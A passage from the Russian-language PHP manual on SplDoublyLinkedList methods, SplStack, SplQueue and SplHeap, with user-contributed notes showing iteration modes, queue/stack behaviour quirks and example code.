var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP);

$l->push('A');
$l->push('B');
$l->push('C');
$l->push('D');
$l->rewind();

var_dump("Traversing");
var_dump($l->isEmpty());

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->isEmpty());

?>

Which outputs the following:
#############################
string(7) "MODE: 2"

string(11) "MODE CHECKS"
bool(true) #LIFO (ok)
bool(true) #FIFO (umm...wait a minute)
bool(false)#DELETE (houston... wtf)
bool(true) #KEEP (ok, where's the camera hidden)

string(10) "Traversing"
bool(false)

int(4)
string(1) "D"

int(4)
string(1) "C"

int(4)
string(1) "B"

int(4)
string(1) "A"

int(4)
bool(false)
#############################

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

hope this helps someone.
pritiatwork at gmail dot com 07-Sep-2011 11:39
Usage of different Iterator Mode

<?php
$doubly=new SplDoublyLinkedList();
$doubly->push(array('name'=>'Naruto'));
$doubly->push(array('name'=>'Sakura'));
$doubly->push(array('name'=>'Neji'));
$doubly->push(array('name'=>'Sasuke'));
var_dump($doubly);
echo '<br/> FIFO Traversing<br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
echo '<br/>LIFO Traversing - Keep mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}

echo '<br/>LIFO Traversing - Delete mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);
$doubly->rewind();

foreach($doubly as $key=>$value)
{
    if($key == 2) break;
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
var_dump($doubly);
?>

Output:

FIFO Traversing

Traversed:0 Naruto
Traversed:1 Sakura
Traversed:2 Neji
Traversed:3 Sasuke
LIFO Traversing - Keep mode

Traversed:3 Sasuke
Traversed:2 Neji
Traversed:1 Sakura
Traversed:0 Naruto
LIFO Traversing - Delete mode

Traversed:3 Sasuke
object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(3)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    array(1) {
      ["name"]=>
      string(6) "Naruto"
    }
    [1]=>
    array(1) {
      ["name"]=>
      string(6) "Sakura"
    }
    [2]=>
    array(1) {
      ["name"]=>
      string(4) "Neji"
    }
  }
}


Удаляет узел, находящийся в начале двусвязного списка

  • « SplDoublyLinkedList::setIteratorMode
  • SplDoublyLinkedList::top »
  • PHP Manual
  • SplDoublyLinkedList
  • Удаляет узел, находящийся в начале двусвязного списка

SplDoublyLinkedList::shift

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::shift — Удаляет узел, находящийся в начале двусвязного списка

Описание

public SplDoublyLinkedList::shift(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение удалённого узла.

Ошибки

Выбрасывает исключение RuntimeException, когда структура данных пуста.

User Contributed Notes

fabs2s at marsatak dot org 28-Feb-2017 10:41
One may expect SplDoublyLinkedList::shift to properly maintain internal pointers, but this is not the case, this will yield no results, even if you rewind first

<?php
while ($splDoublyLinkedList->valid()) {
    yield $splDoublyLinkedList->shift();
}
?>

It could be by design, but the following raises some more questions :

<?php

$test = new \SplDoublyLinkedList;
$dataSet = [
    ['id' => 1],
    ['id' => 2],
    ['id' => 3],
    ['id' => 4],
];

foreach ($dataSet as $row) {
    $test->push($row);
}

echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "1st shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "rewinding... " . PHP_EOL;
$test->rewind();
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
?>

will result in :
<?php

/*
count: 4
valid: false                       <== First thing to note, you have no valid pointer unless you rewind first
current: NULL                  <== hence no current
key: 0                                <== but we have a valid key
offsetGet(key): array (    <== indeed
  'id' => 1,
)
1st shift: array (               <== and shift does return first row
  'id' => 1,
)
count: 3                            <== and count is maintained as expected
valid: false                      <== but internal pointer was left outside valid range
current: NULL                 <== hence no current again
key: 0                                <== but we still have a valid key
offsetGet(key): array (   <== indeed
  'id' => 2,
)
2nd shift: array (             <== and shift does return first row
  'id' => 2,
)
count: 2                           <== and count is maintained as expected
valid: false                      <== still not valid etc ..
current: NULL
key: 0
offsetGet(key): array (
  'id' => 3,
)
rewinding...                    <== now rewind
current: array (             <== yay a current
  'id' => 3,
)
3rd shift: array (            <== shift ok
  'id' => 3,
)
count: 1                          <== count ok
valid: true                     <== ouch valid
current: NULL               <== with no current
key: 0                              <== still our key is valid :o
offsetGet(key): array (
  'id' => 4,
)
*/
?>

Conclusion : I may be missing something about why SplDoublyLinkedList::shift is not maintaining proper internal index in the first place, but I find it even more confusing to be able to end up with a valid valid() and a valid key() and no current() while there is obviously one.

Tested on php 5.6.30 & 7.1.2 with the exact same result.


Получает узел, находящийся в конце двусвязного списка

  • « SplDoublyLinkedList::shift
  • SplDoublyLinkedList::unserialize »
  • PHP Manual
  • SplDoublyLinkedList
  • Получает узел, находящийся в конце двусвязного списка

SplDoublyLinkedList::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::top — Получает узел, находящийся в конце двусвязного списка

Описание

public SplDoublyLinkedList::top(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение последнего узла.

Ошибки

Выбрасывает исключение RuntimeException, когда структура данных пуста.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:31
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);


Десериализует хранилище

  • « SplDoublyLinkedList::top
  • SplDoublyLinkedList::unshift »
  • PHP Manual
  • SplDoublyLinkedList
  • Десериализует хранилище

SplDoublyLinkedList::unserialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplDoublyLinkedList::unserialize — Десериализует хранилище

Описание

public SplDoublyLinkedList::unserialize(string $data): void

Десериализует хранилище из строкового представления, полученного с помощью SplDoublyLinkedList::serialize().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Сериализованная строка.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • SplDoublyLinkedList::serialize() - Сериализует хранилище

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


Вставляет элемент в начало двусвязного списка

  • « SplDoublyLinkedList::unserialize
  • SplDoublyLinkedList::valid »
  • PHP Manual
  • SplDoublyLinkedList
  • Вставляет элемент в начало двусвязного списка

SplDoublyLinkedList::unshift

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::unshift — Вставляет элемент в начало двусвязного списка

Описание

public SplDoublyLinkedList::unshift(mixed $value): void

Вставляет value в начало двусвязного списка.

Список параметров

value

Значение, добавляемое в начало.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:40
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5); // add 5 beginning of the array
$dll->rewind();

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

Output

5
2
3


Проверяет, содержит ли узлы двусвязный список

  • « SplDoublyLinkedList::unshift
  • SplStack »
  • PHP Manual
  • SplDoublyLinkedList
  • Проверяет, содержит ли узлы двусвязный список

SplDoublyLinkedList::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::valid — Проверяет, содержит ли узлы двусвязный список

Описание

public SplDoublyLinkedList::valid(): bool

Проверяет, содержит ли ещё узлы двусвязный список.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если двусвязный список содержит узлы после текущего указателя, false в противном случае.

User Contributed Notes

phpdude at zootal dot com 23-Aug-2017 09:40
The docs say "Check whether the doubly linked list contains more nodes". I do not believe this is correct.

Example:

$dlist = new SplDoublyLinkedList;
$data=[1,2,3,4,5];

foreach($data as $d)
    $dlist->push($d);
$dlist->rewind();

for($i=0;$i<6;$i++)
{
    $currentValue = $dlist->current();
    $currentValid = $dlist->valid();

    $status = $currentValid ? 'True' : 'False';
    echo 'Current value is: ' . $currentValue . ' Valid status is: ' . $status . "\n";

    $dlist->next();
}

Output:

Current value is: 1 Valid status is: True
Current value is: 2 Valid status is: True
Current value is: 3 Valid status is: True
Current value is: 4 Valid status is: True
Current value is: 5 Valid status is: True
Current value is:  Valid status is: False

Note that when we are on the last node of the list, value = 5, the valid() function returns true. Yet we are on the last node of the list, and there are no more nodes. If the valid() function were checking to see if there were any more nodes on the list, it would return false, not true.

If you look at the docs for Iterator::valid, they say "Checks if current position is valid". I believe that is in fact what valid() does, it checks to see if the *current* position is valid, *not* if there are any more nodes.

Be aware of this or it will bite you. You can happily iterate to the end of the list, run valid(), think there is one more node, do a next(), grab the value, and you get null instead of the last node of the list.
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:39
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->rewind();

while($a->valid()){
    echo 'key ', $a->key(), ' value ', $a->current(),"\n";
    $a->next();
}


Класс SplStack

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplStack предоставляет основные функциональные возможности стека, реализованные с использованием двусвязного списка, установив режим итератора SplDoublyLinkedList::IT_MODE_LIFO.

Обзор классов

class SplStack extends SplDoublyLinkedList {
/* Наследуемые константы */
public const int SplDoublyLinkedList::IT_MODE_LIFO;
public const int SplDoublyLinkedList::IT_MODE_FIFO;
public const int SplDoublyLinkedList::IT_MODE_DELETE;
public const int SplDoublyLinkedList::IT_MODE_KEEP;
/* Наследуемые методы */
public SplDoublyLinkedList::add(int $index, mixed $value): void
public SplDoublyLinkedList::bottom(): mixed
public SplDoublyLinkedList::count(): int
public SplDoublyLinkedList::current(): mixed
public SplDoublyLinkedList::getIteratorMode(): int
public SplDoublyLinkedList::isEmpty(): bool
public SplDoublyLinkedList::key(): int
public SplDoublyLinkedList::next(): void
public SplDoublyLinkedList::offsetExists(int $index): bool
public SplDoublyLinkedList::offsetGet(int $index): mixed
public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void
public SplDoublyLinkedList::offsetUnset(int $index): void
public SplDoublyLinkedList::pop(): mixed
public SplDoublyLinkedList::prev(): void
public SplDoublyLinkedList::push(mixed $value): void
public SplDoublyLinkedList::rewind(): void
public SplDoublyLinkedList::serialize(): string
public SplDoublyLinkedList::setIteratorMode(int $mode): int
public SplDoublyLinkedList::shift(): mixed
public SplDoublyLinkedList::top(): mixed
public SplDoublyLinkedList::unserialize(string $data): void
public SplDoublyLinkedList::unshift(mixed $value): void
public SplDoublyLinkedList::valid(): bool
}

Примеры

Пример #1 Пример использования SplStack

<?php
$q = new SplStack();
$q[] = 1;
$q[] = 2;
$q[] = 3;
foreach ($q as $elem) {
echo $elem."\n";
}
?>

Результат выполнения данного примера:

3
2
1

User Contributed Notes

daryledesilva at gmail dot com 02-Nov-2019 03:49
<?php

// Exercise: Implement Queue using Stacks

class MyQueue {
    protected $queue;

    /**
     * Initialize your data structure here.
     */
    function __construct() {
        $this->queue = new \SplStack;
    }

    /**
     * Push element x to the back of queue.
     * @param Integer $x
     * @return NULL
     */
    function push($x) {
        $this->queue->push($x);
    }

    /**
     * Removes the element from in front of queue and returns that element.
     * @return Integer
     */
    function pop() {
        $length = count($this->queue);
        $temp = [];
        while(!$this->queue->isEmpty()){
            $rv = $this->queue->pop();
            if(!$this->queue->isEmpty()){
                $temp[] = $rv;
            }
        }
        for($i = count($temp)-1; $i >= 0; $i--){
            $this->queue->push($temp[$i]);
        }
        return $rv;
    }

    /**
     * Get the front element.
     * @return Integer
     */
    function peek() {
        return $this->queue->bottom();
    }

    /**
     * Returns whether the queue is empty.
     * @return Boolean
     */
    function empty() {
        return $this->queue->isEmpty();
    }
}

/**
 * Your MyQueue object will be instantiated and called as such:
 * $obj = MyQueue();
 * $obj->push($x);
 * $ret_2 = $obj->pop();
 * $ret_3 = $obj->peek();
 * $ret_4 = $obj->empty();
 */
lincoln dot du dot j at gmail dot com 12-Jul-2017 06:48
<?php
//SplStack Mode is LIFO (Last In First Out)

$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;
$q->push(4);
$q->add(4,5);

$q->rewind();
while($q->valid()){
    echo $q->current(),"\n";
    $q->next();
}
?>

Output
5
4
3
2
1
lsroudi at gmail dot com 19-Jan-2014 12:03
the SplStack is  simply a SplDoublyLinkedList with  an iteration mode IT_MODE_LIFO and IT_MODE_KEEP


Класс SplQueue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplQueue предоставляет основные функциональные возможности очереди, реализованной с использованием двусвязного списка, установив режим итератора SplDoublyLinkedList::IT_MODE_FIFO.

Обзор классов

class SplQueue extends SplDoublyLinkedList {
/* Наследуемые константы */
public const int SplDoublyLinkedList::IT_MODE_LIFO;
public const int SplDoublyLinkedList::IT_MODE_FIFO;
public const int SplDoublyLinkedList::IT_MODE_DELETE;
public const int SplDoublyLinkedList::IT_MODE_KEEP;
/* Методы */
public dequeue(): mixed
public enqueue(mixed $value): void
/* Наследуемые методы */
public SplDoublyLinkedList::add(int $index, mixed $value): void
public SplDoublyLinkedList::bottom(): mixed
public SplDoublyLinkedList::count(): int
public SplDoublyLinkedList::current(): mixed
public SplDoublyLinkedList::getIteratorMode(): int
public SplDoublyLinkedList::isEmpty(): bool
public SplDoublyLinkedList::key(): int
public SplDoublyLinkedList::next(): void
public SplDoublyLinkedList::offsetExists(int $index): bool
public SplDoublyLinkedList::offsetGet(int $index): mixed
public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void
public SplDoublyLinkedList::offsetUnset(int $index): void
public SplDoublyLinkedList::pop(): mixed
public SplDoublyLinkedList::prev(): void
public SplDoublyLinkedList::push(mixed $value): void
public SplDoublyLinkedList::rewind(): void
public SplDoublyLinkedList::serialize(): string
public SplDoublyLinkedList::setIteratorMode(int $mode): int
public SplDoublyLinkedList::shift(): mixed
public SplDoublyLinkedList::top(): mixed
public SplDoublyLinkedList::unserialize(string $data): void
public SplDoublyLinkedList::unshift(mixed $value): void
public SplDoublyLinkedList::valid(): bool
}

Примеры

Пример #1 Пример использования SplQueue

<?php
$q = new SplQueue();
$q[] = 1;
$q[] = 2;
$q[] = 3;
foreach ($q as $elem) {
echo $elem."\n";
}
?>

Результат выполнения данного примера:

1
2
3

Пример #2 Эффективное решение задач с помощью SplQueue

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
// ... добавление некоторых задач в очередь ...
// обработка
foreach ($q as $task) {
// ... обработка $task ...
// добавление новых задач в очередь
$q[] = $newTask;
// ...
}
?>

Содержание

  • SplQueue::dequeue — Удаляет элемент из очереди
  • SplQueue::enqueue — Добавляет элемент в очередь

User Contributed Notes

booleantype at ya dot ru 18-May-2021 07:58
Answer to Manu Manjunath post (#114336).

IMO, pop() works as expected.

There are 2 main groups of methods:

1) pop() & push() are inherited from SplDoublyLinkedList and can be applied to SplStack as well as SplQueue (ie are "faceless"). It isn't about stack or queue; it's just about deleting / adding element to the end of the list;

2) the same situation with shift() & unshift(): it is just about adding an element to the beginning of the list, and doesn't matter, if we use it on SplStack or SplQueue.

So, yes, $q->pop(); will remove *last* element from SplQueue $q.

But enqueue() & dequeue() *are about* SplQueue. FIFO principle is realized by these methods, which were implemented *exactly* for queue purpose:
- enqueue() adds an element to the end of the queue and is alias for "faceless" push() (FI...);
- dequeue() removes element from the beginning of the queue and is alias for "faceless" shift() (...FO).

If you want to delete *next in line* element from *queue*, use dequeue().
If you want to delete *last* element from the list (doesn't matter, if it's queue or stack), use pop().
mostefa dot medjahed dot pro at gmail dot com 01-Mar-2021 07:13
As was said before, the push () and pop () methods on a SplQueue object, its behave like a stack rather than a queue.

Knowing that the enqueue () and dequeue () methods are respectively aliases of push () and shift () methods, we can also use SplQueue :: push () and SplQueue :: shift () for the same purpose as SplQueue :: enqueue and SplQueue :: dequeue.
lincoln dot du dot j at gmail dot com 12-Jul-2017 07:07
<?php

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');

$queue->rewind();
while($queue->valid()){
    echo $queue->current(),"\n";
    $queue->next();
}

print_r($queue);
$queue->dequeue(); //remove first one
print_r($queue);

?>
Output

A
B
C
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

)
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => B
            [1] => C
        )

)
Stingus 23-Sep-2016 10:16
Take care that SplQueue::valid() is not returning true if the queue has nodes. Use isEmpty() instead:

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');
var_dump($queue->valid()); // false
var_dump(!$queue->isEmpty()); // true
MrStonedOne 31-Dec-2014 04:49
You can use shift/unshift and push/pop to dequeue/undequeue and queue/unqueue respectively. Really handy for those applications that use sockets where you might not know you can't send data until you attempt to.

for example, this is a function for an application that will un-dequeue the remainder of the data if socket_write indicated it did not write the entire contents of the provided data.

<?php
function processSendQueue($socket, $sendQueue) {
    while (!$sendQueue->isEmpty()) {
                            //shift() is the same as dequeue()
        $senditem = $sendQueue->shift();

        //returns the number of bytes written.
        $rtn = socket_write($socket, $senditem);
        if ($rtn === false) {
            $sendQueue->unshift($senditem);
            throw new exception("send error: " . socket_last_error($socket));
            return;
        }
        if ($rtn < strlen($senditem) {
            $sendQueue->unshift(substr($senditem, $rtn);
            break;
        }
    }
}
?>
Manu Manjunath 10-Feb-2014 10:56
SplQueue inherits from SplDoublyLinkedList. So, objects of SplQueue support methods push() and pop(). But please be advised that if you use push() and pop() methods on a SplQueue object, it behaves like a stack rather than a queue.

For example:

$q = new SplQueue();
$q->push(1);
$q->push(2);
$q->push(3);
$q->pop();
print_r($q);

Above code returns:

SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
        )
)

Note that 3 got popped and *not* 1.

So, please make sure that you use only enqueue() and dequeue() methods on a SplQueue object and *not* push() and pop().


Удаляет элемент из очереди

  • « SplQueue
  • SplQueue::enqueue »
  • PHP Manual
  • SplQueue
  • Удаляет элемент из очереди

SplQueue::dequeue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplQueue::dequeue — Удаляет элемент из очереди

Описание

public SplQueue::dequeue(): mixed

Удаляет value из начала очереди.

Замечание:

SplQueue::dequeue() - псевдоним SplDoublyLinkedList::shift().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение удалённого из очереди элемента.

User Contributed Notes

mark at bull-roarer dot com 06-Jul-2013 03:31
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
mark at bull-roarer dot com 06-Jul-2013 03:30
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
andresdzphp at php dot net 30-Sep-2011 11:10
<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
$q->enqueue('item 1');
$q->enqueue('item 2');
$q->enqueue('item 3');

$q->dequeue();
$q->dequeue();

foreach ($q as $item) {
    echo $item;
}

//Result: item 3

$q->dequeue(); //Fatal error: Uncaught exception 'RuntimeException'
              //with message 'Can't shift from an empty datastructure'
?>
xuecan at gmail dot com 20-Jan-2010 08:57
If the queue is empty, dequeue() will raise an 'RuntimeException' with message 'Can't shift from an empty datastructure'.


Добавляет элемент в очередь

  • « SplQueue::dequeue
  • SplHeap »
  • PHP Manual
  • SplQueue
  • Добавляет элемент в очередь

SplQueue::enqueue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplQueue::enqueue — Добавляет элемент в очередь

Описание

public SplQueue::enqueue(mixed $value): void

Добавляет value в конец очереди.

Замечание:

SplQueue::enqueue() - псевдоним SplDoublyLinkedList::push().

Список параметров

value

Значение для постановки в очередь.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplHeap

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplHeap предоставляет основные функциональные возможности кучи.

Обзор классов

abstract class SplHeap implements Iterator, Countable {
/* Методы */
protected compare(mixed $value1, mixed $value2): int
public count(): int
public current(): mixed
public extract(): mixed
public insert(mixed $value): true
public isCorrupted(): bool
public isEmpty(): bool
public key(): int
public next(): void
public recoverFromCorruption(): bool
public rewind(): void
public top(): mixed
public valid(): bool
}

Содержание

  • SplHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче
  • SplHeap::count — Определяет количество элементов в куче
  • SplHeap::current — Возвращает текущий узел, на который указывает итератор
  • SplHeap::extract — Извлекает узел из кучи и пересортирует её
  • SplHeap::insert — Вставляет элемент в кучу и пересортирует её
  • SplHeap::isCorrupted — Указывает, находится ли куча в повреждённом состоянии
  • SplHeap::isEmpty — Проверка, пуста ли куча
  • SplHeap::key — Возвращает индекс текущего узла
  • SplHeap::next — Переход к следующему узлу
  • SplHeap::recoverFromCorruption — Восстанавливает корректное состояние кучи
  • SplHeap::rewind — Перевод итератора на начало
  • SplHeap::top — Возвращает узел, находящийся на вершине кучи
  • SplHeap::valid — Проверяет, содержит ли куча ещё элементы

User Contributed Notes

Anthony 08-Jun-2016 12:15
If you wish to build a true tree based heap, you can do so as follows (implemented with SplMinHeap, but could be SplMaxHeap if you wish for the opposite order of items):

The stucture that we're trying to represent:

         1
         |
+-----+--+--+-----+
|     |     |     |
2     3     4     5
|     |           |
+   +-+-+         +
|   |   |         |
7   6   8         9
                  |
                +-+-+
                |   |
               10   11

<?php
$h = new SplMinHeap();

// [parent, child]
$h->insert([9, 11]);
$h->insert([0, 1]);
$h->insert([1, 2]);
$h->insert([1, 3]);
$h->insert([1, 4]);
$h->insert([1, 5]);
$h->insert([3, 6]);
$h->insert([2, 7]);
$h->insert([3, 8]);
$h->insert([5, 9]);
$h->insert([9, 10]);

for ($h->top(); $h->valid(); $h->next()) {
    list($parentId, $myId) = $h->current();
    echo "$myId ($parentId)\n";
}
?>

As you iterate over the heap, the return data will be read as if you're reading a book; ie left to right, top to bottom. It will NOT follow the relationships.

So, the above code will output the following:

1 (0)
2 (1)
3 (1)
4 (1)
5 (1)
7 (2)
6 (3)
8 (3)
9 (5)
10 (9)
11 (9)
igorsantos07 at gmail dot com 26-Jun-2014 01:02
While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what SplPriorityQueue does - based on SplMaxHeap. If you're planning to copy that snippet, go no further! There's a SPL class that does exactly what you want :)
Michelangelo van Dam 06-Oct-2009 11:44
To have a good idea what you can do with SplHeap, I created a little example script that will show the rankings of Belgian soccer teams in the Jupiler League.

<?php
/**
 * A class that extends SplHeap for showing rankings in the Belgian
 * soccer tournament JupilerLeague
 */
class JupilerLeague extends SplHeap
{
    /**
     * We modify the abstract method compare so we can sort our
     * rankings using the values of a given array
     */
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

// Let's populate our heap here (data of 2009)
$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15));
$heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11));
$heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21));
$heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10));
$heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10));
$heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11));
$heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20));
$heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10));
$heap->insert(array ('Zulte Waregem' => 15));

// For displaying the ranking we move up to the first node
$heap->top();

// Then we iterate through each node for displaying the result
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
?>

This results in the following output:
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6

Hope this example paved the way for more complex implementations of SplHeap.


Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

  • « SplHeap
  • SplHeap::count »
  • PHP Manual
  • SplHeap
  • Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

SplHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

Описание

protected SplHeap::compare(mixed $value1, mixed $value2): int

Сравнивает value1 с value2.

Внимание

Выбрасывание исключений в методе SplHeap::compare() может нарушить целостность кучи и перевести её в заблокированное состояние. Разблокировать кучу можно методом SplHeap::recoverFromCorruption(). Однако, некоторые элементы могут быть помещены некорректно, что нарушит сортировку внутри кучи.

Список параметров

value1

Значение первого сравниваемого узла.

value2

Значение второго сравниваемого узла.

Возвращаемые значения

